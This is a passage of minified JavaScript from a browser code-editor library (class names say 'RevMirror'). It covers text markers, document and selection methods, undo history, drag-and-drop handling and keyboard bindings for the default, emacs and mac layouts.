s=e.lines[l],a=Ne(s.markedSpans,e);t&&!e.collapsed?Zn(t,fe(s),"text"):t&&(null!=a.to&&(o=fe(s)),null!=a.from&&(i=fe(s))),s.markedSpans=Oe(s.markedSpans,a),null==a.from&&e.collapsed&&!je(e.doc,s)&&t&&he(s,Jr(t.display))}if(t&&this.collapsed&&!t.options.lineWrapping)for(var u=0;u<this.lines.length;++u){var c=Ue(e.lines[u]),h=_e(c);h>t.display.maxLineLength&&(t.display.maxLine=c,t.display.maxLineLength=h,t.display.maxLineChanged=!0)}null!=i&&t&&this.collapsed&&qn(t,i,o+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,t&&qi(t.doc)),t&&sr(t,"markerCleared",t,this,i,o),r&&Gn(t),this.parent&&this.parent.clear()}},bo.prototype.find=function(e,t){var r,n;null==e&&"bookmark"==this.type&&(e=1);for(var i=0;i<this.lines.length;++i){var o=this.lines[i],l=Ne(o.markedSpans,this);if(null!=l.from&&(r=ve(t?o:fe(o),l.from),-1==e))return r;if(null!=l.to&&(n=ve(t?o:fe(o),l.to),1==e))return n}return r&&{from:r,to:n}},bo.prototype.changed=function(){var o=this,l=this.find(-1,!0),s=this,a=this.doc.cm;l&&a&&Xn(a,function(){var e=l.line,t=fe(l.line),r=Or(a,t);if(r&&(Er(r),a.curOp.selectionChanged=a.curOp.forceUpdate=!0),a.curOp.updateMaxLine=!0,!je(s.doc,e)&&null!=s.height){var n=s.height;s.height=null;var i=br(s)-n;i&&he(e,e.height+i)}sr(a,"markerChanged",a,o)})},bo.prototype.attachLine=function(e){if(!this.lines.length&&this.doc.cm){var t=this.doc.cm.curOp;t.maybeHiddenMarkers&&-1!=B(t.maybeHiddenMarkers,this)||(t.maybeUnhiddenMarkers||(t.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(e)},bo.prototype.detachLine=function(e){if(this.lines.splice(B(this.lines,e),1),!this.lines.length&&this.doc.cm){var t=this.doc.cm.curOp;(t.maybeHiddenMarkers||(t.maybeHiddenMarkers=[])).push(this)}},at(bo);var xo=function(e,t){this.markers=e,this.primary=t;for(var r=0;r<e.length;++r)e[r].parent=this};function Co(e){return e.findMarks(ve(e.first,0),e.clipPos(ve(e.lastLine())),function(e){return e.parent})}function So(o){for(var e=function(e){var t=o[e],r=[t.primary.doc];Ni(t.primary.doc,function(e){return r.push(e)});for(var n=0;n<t.markers.length;n++){var i=t.markers[n];-1==B(r,i.doc)&&(i.parent=null,t.markers.splice(n--,1))}},t=0;t<o.length;t++)e(t)}xo.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var e=0;e<this.markers.length;++e)this.markers[e].clear();sr(this,"clear")}},xo.prototype.find=function(e,t){return this.primary.find(e,t)},at(xo);var Lo=0,ko=function(e,t,r,n,i){if(!(this instanceof ko))return new ko(e,t,r,n,i);null==r&&(r=0),go.call(this,[new po([new Yt("",null)])]),this.first=r,this.scrollTop=this.scrollLeft=0,this.cantEdit=!1,this.cleanGeneration=1,this.modeFrontier=this.highlightFrontier=r;var o=ve(r,0);this.sel=bi(o),this.history=new Di(null),this.id=++Lo,this.modeOption=t,this.lineSep=n,this.direction="rtl"==i?"rtl":"ltr",this.extend=!1,"string"==typeof e&&(e=this.splitLines(e)),Mi(this,{from:o,to:o,text:e}),Yi(this,bi(o),V)};ko.prototype=Q(go.prototype,{constructor:ko,iter:function(e,t,r){r?this.iterN(e-this.first,t-e,r):this.iterN(this.first,this.first+this.size,e)},insert:function(e,t){for(var r=0,n=0;n<t.length;++n)r+=t[n].height;this.insertInner(e-this.first,t,r)},remove:function(e,t){this.removeInner(e-this.first,t)},getValue:function(e){var t=ce(this,this.first,this.first+this.size);return!1===e?t:t.join(e||this.lineSeparator())},setValue:$n(function(e){var t=ve(this.first,0),r=this.first+this.size-1;no(this,{from:t,to:ve(r,ae(this,r).text.length),text:this.splitLines(e),origin:"setValue",full:!0},!0),this.cm&&Tn(this.cm,0,0),Yi(this,bi(t),V)}),replaceRange:function(e,t,r,n){ao(this,e,t=Se(this,t),r=r?Se(this,r):t,n)},getRange:function(e,t,r){var n=ue(this,Se(this,e),Se(this,t));return!1===r?n:n.join(r||this.lineSeparator())},getLine:function(e){var t=this.getLineHandle(e);return t&&t.text},getLineHandle:function(e){if(pe(this,e))return ae(this,e)},getLineNumber:function(e){return fe(e)},getLineHandleVisualStart:function(e){return"number"==typeof e&&(e=ae(this,e)),Ue(e)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(e){return Se(this,e)},getCursor:function(e){var t=this.sel.primary();return null==e||"head"==e?t.head:"anchor"==e?t.anchor:"end"==e||"to"==e||!1===e?t.to():t.from()},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:$n(function(e,t,r){ji(this,Se(this,"number"==typeof e?ve(e,t||0):e),null,r)}),setSelection:$n(function(e,t,r){ji(this,Se(this,e),Se(this,t||e),r)}),extendSelection:$n(function(e,t,r){Ui(this,Se(this,e),t&&Se(this,t),r)}),extendSelections:$n(function(e,t){Vi(this,Le(this,e),t)}),extendSelectionsBy:$n(function(e,t){Vi(this,Le(this,q(this.sel.ranges,e)),t)}),setSelections:$n(function(e,t,r){if(e.length){for(var n=[],i=0;i<e.length;i++)n[i]=new mi(Se(this,e[i].anchor),Se(this,e[i].head));null==t&&(t=Math.min(e.length-1,this.sel.primIndex)),Yi(this,yi(n,t),r)}}),addSelection:$n(function(e,t,r){var n=this.sel.ranges.slice(0);n.push(new mi(Se(this,e),Se(this,t||e))),Yi(this,yi(n,n.length-1),r)}),getSelection:function(e){for(var t,r=this.sel.ranges,n=0;n<r.length;n++){var i=ue(this,r[n].from(),r[n].to());t=t?t.concat(i):i}return!1===e?t:t.join(e||this.lineSeparator())},getSelections:function(e){for(var t=[],r=this.sel.ranges,n=0;n<r.length;n++){var i=ue(this,r[n].from(),r[n].to());!1!==e&&(i=i.join(e||this.lineSeparator())),t[n]=i}return t},replaceSelection:function(e,t,r){for(var n=[],i=0;i<this.sel.ranges.length;i++)n[i]=e;this.replaceSelections(n,t,r||"+input")},replaceSelections:$n(function(e,t,r){for(var n=[],i=this.sel,o=0;o<i.ranges.length;o++){var l=i.ranges[o];n[o]={from:l.from(),to:l.to(),text:this.splitLines(e[o]),origin:r}}for(var s=t&&"end"!=t&&function(e,t,r){for(var n=[],i=ve(e.first,0),o=i,l=0;l<t.length;l++){var s=t[l],a=Si(s.from,i,o),u=Si(wi(s),i,o);if(i=s.to,o=u,"around"==r){var c=e.sel.ranges[l],h=me(c.head,c.anchor)<0;n[l]=new mi(h?u:a,h?a:u)}else n[l]=new mi(a,a)}return new vi(n,e.sel.primIndex)}(this,n,t),a=n.length-1;0<=a;a--)no(this,n[a]);s?Xi(this,s):this.cm&&kn(this.cm)}),undo:$n(function(){oo(this,"undo")}),redo:$n(function(){oo(this,"redo")}),undoSelection:$n(function(){oo(this,"undo",!0)}),redoSelection:$n(function(){oo(this,"redo",!0)}),setExtending:function(e){this.extend=e},getExtending:function(){return this.extend},historySize:function(){for(var e=this.history,t=0,r=0,n=0;n<e.done.length;n++)e.done[n].ranges||++t;for(var i=0;i<e.undone.length;i++)e.undone[i].ranges||++r;return{undo:t,redo:r}},clearHistory:function(){this.history=new Di(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(e){return e&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=null),this.history.generation},isClean:function(e){return this.history.generation==(e||this.cleanGeneration)},getHistory:function(){return{done:Bi(this.history.done),undone:Bi(this.history.undone)}},setHistory:function(e){var t=this.history=new Di(this.history.maxGeneration);t.done=Bi(e.done.slice(0),null,!0),t.undone=Bi(e.undone.slice(0),null,!0)},setGutterMarker:$n(function(e,r,n){return fo(this,e,"gutter",function(e){var t=e.gutterMarkers||(e.gutterMarkers={});return!(t[r]=n)&&re(t)&&(e.gutterMarkers=null),!0})}),clearGutter:$n(function(t){var r=this;this.iter(function(e){e.gutterMarkers&&e.gutterMarkers[t]&&fo(r,e,"gutter",function(){return e.gutterMarkers[t]=null,re(e.gutterMarkers)&&(e.gutterMarkers=null),!0})})}),lineInfo:function(e){var t;if("number"==typeof e){if(!pe(this,e))return null;if(!(e=ae(this,t=e)))return null}else if(null==(t=fe(e)))return null;return{line:t,handle:e,text:e.text,gutterMarkers:e.gutterMarkers,textClass:e.textClass,bgClass:e.bgClass,wrapClass:e.wrapClass,widgets:e.widgets}},addLineClass:$n(function(e,r,n){return fo(this,e,"gutter"==r?"gutter":"class",function(e){var t="text"==r?"textClass":"background"==r?"bgClass":"gutter"==r?"gutterClass":"wrapClass";if(e[t]){if(L(n).test(e[t]))return!1;e[t]+=" "+n}else e[t]=n;return!0})}),removeLineClass:$n(function(e,o,l){return fo(this,e,"gutter"==o?"gutter":"class",function(e){var t="text"==o?"textClass":"background"==o?"bgClass":"gutter"==o?"gutterClass":"wrapClass",r=e[t];if(!r)return!1;if(null==l)e[t]=null;else{var n=r.match(L(l));if(!n)return!1;var i=n.index+n[0].length;e[t]=r.slice(0,n.index)+(n.index&&i!=r.length?" ":"")+r.slice(i)||null}return!0})}),addLineWidget:$n(function(e,t,r){return i=e,o=new vo(n=this,t,r),(l=n.cm)&&o.noHScroll&&(l.display.alignWidgets=!0),fo(n,i,"widget",function(e){var t=e.widgets||(e.widgets=[]);if(null==o.insertAt?t.push(o):t.splice(Math.min(t.length-1,Math.max(0,o.insertAt)),0,o),o.line=e,l&&!je(n,e)){var r=Ye(e)<n.scrollTop;he(e,e.height+br(o)),r&&Ln(l,o.height),l.curOp.forceUpdate=!0}return!0}),l&&sr(l,"lineWidgetAdded",l,o,"number"==typeof i?i:fe(i)),o;var n,i,o,l}),removeLineWidget:function(e){e.clear()},markText:function(e,t,r){return wo(this,Se(this,e),Se(this,t),r,r&&r.type||"range")},setBookmark:function(e,t){var r={replacedWith:t&&(null==t.nodeType?t.widget:t),insertLeft:t&&t.insertLeft,clearWhenEmpty:!1,shared:t&&t.shared,handleMouseEvents:t&&t.handleMouseEvents};return wo(this,e=Se(this,e),e,r,"bookmark")},findMarksAt:function(e){var t=[],r=ae(this,(e=Se(this,e)).line).markedSpans;if(r)for(var n=0;n<r.length;++n){var i=r[n];(null==i.from||i.from<=e.ch)&&(null==i.to||i.to>=e.ch)&&t.push(i.marker.parent||i.marker)}return t},findMarks:function(i,o,l){i=Se(this,i),o=Se(this,o);var s=[],a=i.line;return this.iter(i.line,o.line+1,function(e){var t=e.markedSpans;if(t)for(var r=0;r<t.length;r++){var n=t[r];null!=n.to&&a==i.line&&i.ch>=n.to||null==n.from&&a!=i.line||null!=n.from&&a==o.line&&n.from>=o.ch||l&&!l(n.marker)||s.push(n.marker.parent||n.marker)}++a}),s},getAllMarks:function(){var n=[];return this.iter(function(e){var t=e.markedSpans;if(t)for(var r=0;r<t.length;++r)null!=t[r].from&&n.push(t[r].marker)}),n},posFromIndex:function(r){var n,i=this.first,o=this.lineSeparator().length;return this.iter(function(e){var t=e.text.length+o;if(r<t)return n=r,!0;r-=t,++i}),Se(this,ve(i,n))},indexFromPos:function(e){var t=(e=Se(this,e)).ch;if(e.line<this.first||e.ch<0)return 0;var r=this.lineSeparator().length;return this.iter(this.first,e.line,function(e){t+=e.text.length+r}),t},copy:function(e){var t=new ko(ce(this,this.first,this.first+this.size),this.modeOption,this.first,this.lineSep,this.direction);return t.scrollTop=this.scrollTop,t.scrollLeft=this.scrollLeft,t.sel=this.sel,t.extend=!1,e&&(t.history.undoDepth=this.history.undoDepth,t.setHistory(this.getHistory())),t},linkedDoc:function(e){e||(e={});var t=this.first,r=this.first+this.size;null!=e.from&&e.from>t&&(t=e.from),null!=e.to&&e.to<r&&(r=e.to);var n=new ko(ce(this,t,r),e.mode||this.modeOption,t,this.lineSep,this.direction);return e.sharedHist&&(n.history=this.history),(this.linked||(this.linked=[])).push({doc:n,sharedHist:e.sharedHist}),n.linked=[{doc:this,isParent:!0,sharedHist:e.sharedHist}],function(e,t){for(var r=0;r<t.length;r++){var n=t[r],i=n.find(),o=e.clipPos(i.from),l=e.clipPos(i.to);if(me(o,l)){var s=wo(e,o,l,n.primary,n.primary.type);n.markers.push(s),s.parent=n}}}(n,Co(this)),n},unlinkDoc:function(e){if(e instanceof Cl&&(e=e.doc),this.linked)for(var t=0;t<this.linked.length;++t){if(this.linked[t].doc==e){this.linked.splice(t,1),e.unlinkDoc(this),So(Co(this));break}}if(e.history==this.history){var r=[e.id];Ni(e,function(e){return r.push(e.id)},!0),e.history=new Di(null),e.history.done=Bi(this.history.done,r),e.history.undone=Bi(this.history.undone,r)}},iterLinkedDocs:function(e){Ni(this,e)},getMode:function(){return this.mode},getEditor:function(){return this.cm},splitLines:function(e){return this.lineSep?e.split(this.lineSep):xt(e)},lineSeparator:function(){return this.lineSep||"\n"},setDirection:$n(function(e){var t;("rtl"!=e&&(e="ltr"),e!=this.direction)&&(this.direction=e,this.iter(function(e){return e.order=null}),this.cm&&Xn(t=this.cm,function(){Ai(t),qn(t)}))})}),ko.prototype.eachLine=ko.prototype.iter;var To=0;function Mo(e){var i=this;if(No(i),!ot(i,e)&&!wr(i.display,e)){ut(e),x&&(To=+new Date);var o=ln(i,e,!0),t=e.dataTransfer.files;if(o&&!i.isReadOnly())if(t&&t.length&&window.FileReader&&window.File)for(var l=t.length,s=Array(l),a=0,r=function(e,r){if(!i.options.allowDropFileTypes||-1!=B(i.options.allowDropFileTypes,e.type)){var n=new FileReader;n.onload=Yn(i,function(){var e=n.result;if(/[\x00-\x08\x0e-\x1f]{2}/.test(e)&&(e=""),s[r]=e,++a==l){var t={from:o=Se(i.doc,o),to:o,text:i.doc.splitLines(s.join(i.doc.lineSeparator())),origin:"paste"};no(i.doc,t),Xi(i.doc,bi(o,wi(t)))}}),n.readAsText(e)}},n=0;n<l;++n)r(t[n],n);else{if(i.state.draggingText&&-1<i.doc.sel.contains(o))return i.state.draggingText(e),void setTimeout(function(){return i.display.input.focus()},20);try{var u=e.dataTransfer.getData("Text");if(u){var c;if(i.state.draggingText&&!i.state.draggingText.copy&&(c=i.listSelections()),_i(i.doc,bi(o,o)),c)for(var h=0;h<c.length;++h)ao(i.doc,"",c[h].anchor,c[h].head,"drag");i.replaceSelection(u,"around","paste"),i.display.input.focus()}}catch(e){}}}}function No(e){e.display.dragCursor&&(e.display.lineSpace.removeChild(e.display.dragCursor),e.display.dragCursor=null)}function Oo(e){if(document.getElementsByClassName)for(var t=document.getElementsByClassName("RevMirror"),r=0;r<t.length;r++){var n=t[r].RevMirror;n&&e(n)}}var Ao=!1;function Do(){var e;Ao||(tt(window,"resize",function(){null==e&&(e=setTimeout(function(){e=null,Oo(Wo)},100))}),tt(window,"blur",function(){return Oo(mn)}),Ao=!0)}function Wo(e){var t=e.display;t.cachedCharWidth=t.cachedTextHeight=t.cachedPaddingH=null,t.scrollbarsClipped=!1,e.setSize()}for(var Ho={3:"Pause",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",61:"=",91:"Mod",92:"Mod",93:"Mod",106:"*",107:"=",109:"-",110:".",111:"/",127:"Delete",145:"ScrollLock",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63232:"Up",63233:"Down",63234:"Left",63235:"Right",63272:"Delete",63273:"Home",63275:"End",63276:"PageUp",63277:"PageDown",63302:"Insert"},Fo=0;Fo<10;Fo++)Ho[Fo+48]=Ho[Fo+96]=String(Fo);for(var Po=65;Po<=90;Po++)Ho[Po]=String.fromCharCode(Po);for(var Eo=1;Eo<=12;Eo++)Ho[Eo+111]=Ho[Eo+63235]="F"+Eo;var Io={};function zo(e){var t,r,n,i,o=e.split(/-(?!$)/);e=o[o.length-1];for(var l=0;l<o.length-1;l++){var s=o[l];if(/^(cmd|meta|m)$/i.test(s))i=!0;else if(/^a(lt)?$/i.test(s))t=!0;else if(/^(c|ctrl|control)$/i.test(s))r=!0;else{if(!/^s(hift)?$/i.test(s))throw new Error("Unrecognized modifier name: "+s);n=!0}}return t&&(e="Alt-"+e),r&&(e="Ctrl-"+e),i&&(e="Cmd-"+e),n&&(e="Shift-"+e),e}function Ro(e){var t={};for(var r in e)if(e.hasOwnProperty(r)){var n=e[r];if(/^(name|fallthrough|(de|at)tach)$/.test(r))continue;if("..."==n){delete e[r];continue}for(var i=q(r.split(" "),zo),o=0;o<i.length;o++){var l=void 0,s=void 0;o==i.length-1?(s=i.join(" "),l=n):(s=i.slice(0,o+1).join(" "),l="...");var a=t[s];if(a){if(a!=l)throw new Error("Inconsistent bindings for "+s)}else t[s]=l}delete e[r]}for(var u in t)e[u]=t[u];return e}function Bo(e,t,r,n){var i=(t=Ko(t)).call?t.call(e,n):t[e];if(!1===i)return"nothing";if("..."===i)return"multi";if(null!=i&&r(i))return"handled";if(t.fallthrough){if("[object Array]"!=Object.prototype.toString.call(t.fallthrough))return Bo(e,t.fallthrough,r,n);for(var o=0;o<t.fallthrough.length;o++){var l=Bo(e,t.fallthrough[o],r,n);if(l)return l}}}function Go(e){var t="string"==typeof e?e:Ho[e.keyCode];return"Ctrl"==t||"Alt"==t||"Shift"==t||"Mod"==t}function Uo(e,t,r){var n=e;return t.altKey&&"Alt"!=n&&(e="Alt-"+e),(y?t.metaKey:t.ctrlKey)&&"Ctrl"!=n&&(e="Ctrl-"+e),(y?t.ctrlKey:t.metaKey)&&"Cmd"!=n&&(e="Cmd-"+e),!r&&t.shiftKey&&"Shift"!=n&&(e="Shift-"+e),e}function Vo(e,t){if(v&&34==e.keyCode&&e.char)return!1;var r=Ho[e.keyCode];return null!=r&&!e.altGraphKey&&(3==e.keyCode&&e.code&&(r=e.code),Uo(r,e,t))}function Ko(e){return"string"==typeof e?Io[e]:e}function jo(t,e){for(var r=t.doc.sel.ranges,n=[],i=0;i<r.length;i++){for(var o=e(r[i]);n.length&&me(o.from,$(n).to)<=0;){var l=n.pop();if(me(l.from,o.from)<0){o.from=l.from;break}}n.push(o)}Xn(t,function(){for(var e=n.length-1;0<=e;e--)ao(t.doc,"",n[e].from,n[e].to,"+delete");kn(t)})}function Xo(e,t,r){var n=oe(e.text,t+r,r);return n<0||n>e.text.length?null:n}function Yo(e,t,r){var n=Xo(e,t.ch,r);return null==n?null:new ve(t.line,n,r<0?"after":"before")}function _o(e,t,r,n,i){if(e){var o=Je(r,t.doc.direction);if(o){var l,s=i<0?$(o):o[0],a=i<0==(1==s.level)?"after":"before";if(0<s.level||"rtl"==t.doc.direction){var u=Ar(t,r);l=i<0?r.text.length-1:0;var c=Dr(t,u,l).top;l=le(function(e){return Dr(t,u,e).top==c},i<0==(1==s.level)?s.from:s.to-1,l),"before"==a&&(l=Xo(r,l,1))}else l=i<0?s.to:s.from;return new ve(n,l,a)}}return new ve(n,i<0?r.text.length:0,i<0?"before":"after")}Io.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"},Io.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"},Io.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars","Ctrl-O":"openLine"},Io.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]},Io.default=w?Io.macDefault:Io.pcDefault;var $o={selectAll:to,singleSelection:function(e){return e.setSelection(e.getCursor("anchor"),e.getCursor("head"),V)},killLine:function(r){return jo(r,function(e){if(e.empty()){var t=ae(r.doc,e.head.line).text.length;return e.head.ch==t&&e.head.line<r.lastLine()?{from:e.head,to:ve(e.head.line+1,0)}:{from:e.head,to:ve(e.head.line,t)}}return{from:e.from(),to:e.to()}})},deleteLine:function(t){return jo(t,function(e){return{from:ve(e.from().line,0),to:Se(t.doc,ve(e.to().line+1,0))}})},delLineLeft:function(e){return jo(e,function(e){return{from:ve(e.from().line,0),to:e.from()}})},delWrappedLineLeft:function(r){return jo(r,function(e){var t=r.charCoords(e.head,"div").top+5;return{from:r.coordsChar({left:0,top:t},"div"),to:e.from()}})},delWrappedLineRight:function(n){return jo(n,function(e){var t=n.charCoords(e.head,"div").top+5,r=n.coordsChar({left:n.display.lineDiv.offsetWidth+100,top:t},"div");return{from:e.from(),to:r}})},undo:function(e){return e.undo()},redo:function(e){return e.redo()},undoSelection:function(e){return e.undoSelection()},redoSelection:function(e){return e.redoSelection()},goDocStart:function(e){return e.extendSelection(ve(e.firstLine(),0))},goDocEnd:function(e){return e.extendSelection(ve(e.lastLine()))},goLineStart:function(t){return t.extendSelectionsBy(function(e){return qo(t,e.head.line)},{origin:"+move",bias:1})},goLineStartSmart:function(t){return t.extendSelectionsBy(function(e){return Zo(t,e.head)},{origin:"+move",bias:1})},goLineEnd:function(t){return t.extendSelectionsBy(function(e){return function(e,t){var r=ae(e.doc,t),n=function(e){for(var t;t=Re(e);)e=t.find(1,!0).line;return e}(r);n!=r&&(t=fe(n));return _o(!0,e,r,t,-1)}(t,e.head.line)},{origin:"+move",bias:-1})},goLineRight:function(r){return r.extendSelectionsBy(function(e){var t=r.cursorCoords(e.head,"div").top+5;return r.coordsChar({left:r.display.lineDiv.offsetWidth+100,top:t},"div")},j)},goLineLeft:function(r){return r.extendSelectionsBy(function(e){var t=r.cursorCoords(e.head,"div").top+5;return r.coordsChar({left:0,top:t},"div")},j)},goLineLeftSmart:function(n){return n.extendSelectionsBy(function(e){var t=n.cursorCoords(e.head,"div").top+5,r=n.coordsChar({left:0,top:t},"div");return r.ch<n.getLine(r.line).search(/\S/)?Zo(n,e.head):r},j)},goLineUp:function(e){return e.moveV(-1,"line")},goLineDown:function(e){return e.moveV(1,"line")},goPageUp:function(e){return e.moveV(-1,"page")},goPageDown:function(e){return e.moveV(1,"page")},goCharLeft:function(e){return e.moveH(-1,"char")},goCharRight:function(e){return e.moveH(1,"char")},goColumnLeft:function(e){return e.moveH(-1,"column")},goColumnRight:function(e){return e.moveH(1,"column")},goWordLeft:function(e){return e.moveH(-1,"word")},goGroupRight:function(e){return e.moveH(1,"group")},goGroupLeft:function(e){return e.moveH(-1,"group")},goWordRight:function(e){return e.moveH(1,"word")},delCharBefore:function(e){return e.deleteH(-1,"char")},delCharAfter:function(e){return e.deleteH(1,"char")},delWordBefore:function(e){return e.deleteH(-1,"word")},delWordAfter:function(e){return e.deleteH(1,"word")},delGroupBefore:function(e){return e.deleteH(-1,"group")},delGroupAfter:function(e){return e.deleteH(1,"group")},indentAuto:function(e){return e.indentSelection("smart")},indentMore:function(e){return e.indentSelection("add")},indentLess:function(e){return e.indentSelection("subtract")},insertTab:function(e){return e.replaceSelection("\t")},insertSoftTab:function(e){for(var t=[],r=e.listSelections(),n=e.options.tabSize,i=0;i<r.length;i++){var o=r[i].from(),l=z(e.getLine(o.line),o.ch,n);t.push(_(n-l%n))}e.replaceSelections(t)},defaultTab:function(e){e.somethingSelected()?e.indentSelection("add"):e.execCommand("insertTab")},transposeChars:function(l){return Xn(l,function(){for(var e=l.listSelections(),t=[],r=0;r<e.length;r++)if(e[r].empty()){var n=e[r].head,i=ae(l.doc,n.line).text;if(i)if(n.ch==i.length&&(n=new ve(n.line,n.ch-1)),0<n.ch)n=new ve(n.line,n.ch+1),l.replaceRange(i.charAt(n.ch-1)+i.charAt(n.ch-2),ve(n.line,n.ch-2),n,"+transpose");else if(n.line>l.doc.first){var o=ae(l.doc,n.line-1).text;o&&(n=new ve(n.line,1),l.replaceRange(i.charAt(0)+l.doc.lineSeparator()+o.charAt(o.length-1),ve(n.line-1,o.length-1),n,"+transpose"))}t.push(new mi(n,n))}l.setSelections(t)})},newlineAndIndent:function(n){return Xn(n,function(){for(var e=n.listSelections(),t=e.length-1;0<=t;t--)n.replaceRange(n.doc.lineSeparator(),e[t].anchor,e[t].head,"+input");e=n.listSelections();for(var r=0;r<e.length;r++)n.indentLine(e[r].from().line,null,!0);kn(n)})},openLine:function(e){return e.replaceSelection("\n","start")},toggleOverwrite:function(e){return e.toggleOverwrite()}};function qo(e,t){var r=ae(e.doc,t),n=Ue(r);return n!=r&&(t=fe(n)),_o(!0,e,n,t,1)}function Zo(e,t){var r=qo(e,t.line),n=ae(e.doc,r.line),i=Je(n,e.doc.direction);if(!i||0==i[0].level){var o=Math.max(0,n.text.search(/\S/)),l=t.line==r.line&&t.ch<=o&&t.ch;return ve(r.line,l?0:o,r.sticky)}return r}function Qo(e,t,r){if("string"==typeof t&&!(t=$o[t]))return!1;e.display.input.ensurePolled();var n=e.display.shift,i=!1;try{e.isReadOnly()&&(e.state.suppressEdits=!0),r&&(e.display.shift=!1),i=t(e)!=U}finally{e.display.shift=n,e.state.suppressEdits=!1}return i}var Jo=new R;function el(e,t,r,n){var i=e.state.keySeq;if(i){if(Go(t))return"handled";if(/\'$/.test(t)?e.state.keySeq=null:Jo.set(50,function(){e.state.keySeq==i&&(e.state.keySeq=null,e.display.input.reset())}),tl(e,i+" "+t,r,n))return!0}return tl(e,t,r,n)}function tl(e,t,r,n){var i=function(e,t,r){for(var n=0;n<e.state.keyMaps.length;n++){var i=Bo(t,e.state.keyMaps[n],r,e);if(i)return i}return e.options.extraKeys&&Bo(t,e.options.extraKeys,r,e)||Bo(t,e.options.keyMap,r,e)}(e,t,n);return"multi"==i&&(e.state.keySeq=t),"handled"==i&&sr(e,"keyHandled",e,t,r),"handled"!=i&&"multi"!=i||(ut(r),dn(e)),!!i}function rl(t,e){var r=Vo(e,!0);return!!r&&(e.shiftKey&&!t.state.keySeq?el(t,"Shift-"+r,e,function(e){return Qo(t,e,!0)})||el(t,r,e,function(e){if("string"==typeof e?/^go[A-Z]/.test(e):e.motion)return Qo(t,e)}):el(t,r,e,function(e){return Qo(t,e)}))}var nl=null;function il(e){var t=this;if(t.curOp.focus=W(),!ot(t,e)){x&&C<11&&27==e.keyCode&&(e.returnValue=!1);var r=e.keyCode;t.display.shift=16==r||e.shiftKey;var n=rl(t,e);v&&(nl=n?r:null,!n&&88==r&&!St&&(w?e.metaKey:e.ctrlKey)&&t.replaceSelection("",null,"cut")),18!=r||/\bRevMirror-crosshair\b/.test(t.display.lineDiv.className)||function(e){var t=e.display.lineDiv;function r(e){18!=e.keyCode&&e.altKey||(T(t,"RevMirror-crosshair"),nt(document,"keyup",r),nt(document,"mouseover",r))}H(t,"RevMirror-crosshair"),tt(document,"keyup",r),tt(document,"mouseover",r)}(t)}}function ol(e){16==e.keyCode&&(this.doc.sel.shift=!1),ot(this,e)}function ll(e){var t=this;if(!(wr(t.display,e)||ot(t,e)||e.ctrlKey&&!e.altKey||w&&e.metaKey)){var r=e.keyCode,n=e.charCode;if(v&&r==nl)return nl=null,void ut(e);if(!v||e.which&&!(e.which<10)||!rl(t,e)){var i,o=String.fromCharCode(null==n?r:n);if("\b"!=o)if(!el(i=t,"'"+o+"'",e,function(e){return Qo(i,e,!0)}))t.display.input.onKeyPress(e)}}}var sl,al,ul=function(e,t,r){this.time=e,this.pos=t,this.button=r};function cl(e){var 